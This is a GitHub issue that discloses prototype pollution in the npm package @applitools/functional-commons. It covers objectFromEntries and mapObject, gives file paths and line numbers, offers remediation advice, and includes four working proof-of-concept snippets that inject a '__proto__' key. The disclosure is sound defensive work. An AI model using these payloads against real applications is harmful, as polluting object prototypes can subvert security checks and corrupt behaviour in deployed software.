Skip to content

Prototype Pollution Report for @applitools/functional-commons #8

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Detailed Vulnerability Type

Prototype Pollution (Function Parameter/Compiled Artifact/Callback-Based · Prototype Tampering via Dynamic Property Assignment), including three sub-types of vulnerabilities:

  1. Parameter-injected prototype pollution in the source version of the objectFromEntries function;
  2. Compiled artifact-based prototype pollution in the CJS/ESM compiled versions of the objectFromEntries function;
  3. Callback-based prototype pollution in the mapObject function;
    All are implemented through dynamic property assignment acc[name] = value/ret[entry[0]] = entry[1] without sensitive key filtering, which can modify the prototype of objects inside the function and spread to the global scope.

Detailed Root Cause

The core utility functions objectFromEntries (source/CJS/ESM versions) and mapObject of this package all have the problem of dynamic property assignment without sensitive key filtering, with specific causes divided into two categories:

  1. objectFromEntries Function: It traverses an attacker-controllable key-value pair array via the reduce method and executes dynamic assignment acc[name] = value without filtering the proto sensitive key for the name parameter. When a key-value pair with proto as the key is passed in, it directly modifies the prototype chain of the accumulator empty object. The CJS/ESM compiled artifacts completely retain this unsafe logic without any security modifications, affecting the usage scenarios of the corresponding compiled versions respectively.
  2. mapObject Function: It accepts a key-value pair array and a custom callback function, and executes dynamic assignment ret[entry[0]] = entry[1] for the key-value pairs returned by the callback without security validation on the key names returned by the callback. When an attacker controls the callback to return proto as the key name, it directly modifies the prototype of the return object ret inside the function. If the object is referenced by subsequent business logic, it will lead to the diffusion of prototype pollution

Exact Location of Vulnerable Code

|Vulnerability ID| File Path Exact Line Number |Sink Type |Associated Function
|TP0001| package/package/src/functional-commons.js |Line 100 DYNAMIC_PROP_WRITE| objectFromEntries (Source)|
|TP0002| package/package/dist/cjs/functional-commons.js |Line 91 DYNAMIC_PROP_WRITE| |objectFromEntries (CJS Compiled)|
|TP0003| package/package/dist/mjs/functional-commons.js |Line 83 DYNAMIC_PROP_WRITE| objectFromEntries (ESM Compiled)|
|TP0004| package/package/src/functional-commons.js |Line 193 DYNAMIC_PROP_WRITE| mapObject (Source)|

Reproducible POC

  1. Source Version of objectFromEntries (TP0001)
const lib = require('@applitools/functional-commons');
const payload = [['__proto__', {polluted: 'yes'}]];
lib.objectFromEntries(payload);
console.log({}.polluted); // Output: yes
  1. CJS Compiled Version of objectFromEntries (TP0002)
const lib = require('@applitools/functional-commons/dist/cjs/functional-commons');
const payload = [["__proto__", {"polluted":"yes"}]];
lib.objectFromEntries(payload);
console.log({}.polluted); // Output: yes
  1. ESM Compiled Version of objectFromEntries (TP0003)
import lib from '@applitools/functional-commons/dist/mjs/functional-commons';
const payload = [['__proto__', {polluted: 'yes'}]];
lib.objectFromEntries(payload);
console.log({}.polluted); // Output: yes
  1. mapObject Function (TP0004)
const lib = require('@applitools/functional-commons');
const payload = [['__proto__', {polluted: 'yes'}]];
lib.mapObject(payload, ([k,v]) => [k,v]);
console.log({}.polluted); // Output: yes

General Remediation Recommendations

  1. Global Sensitive Key Filtering: Add a unified sensitive key filtering method before all dynamic property assignment logic to skip the processing of proto, constructor, and prototype keys.
  2. Prototype Isolation for In-Function Objects: Create empty objects used for accumulation/return in objectFromEntries and mapObject with Object.create(null) to cut off the association with the Object prototype.
  3. Synchronized Fix for Compiled Artifacts: After fixing the source code, recompile the CJS/ESM versions to ensure that the security filtering logic is included in the compiled artifacts synchronously.
  4. Callback Parameter Validation: Validate the return values of the callback function of mapObject and prohibit returning sensitive key names.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions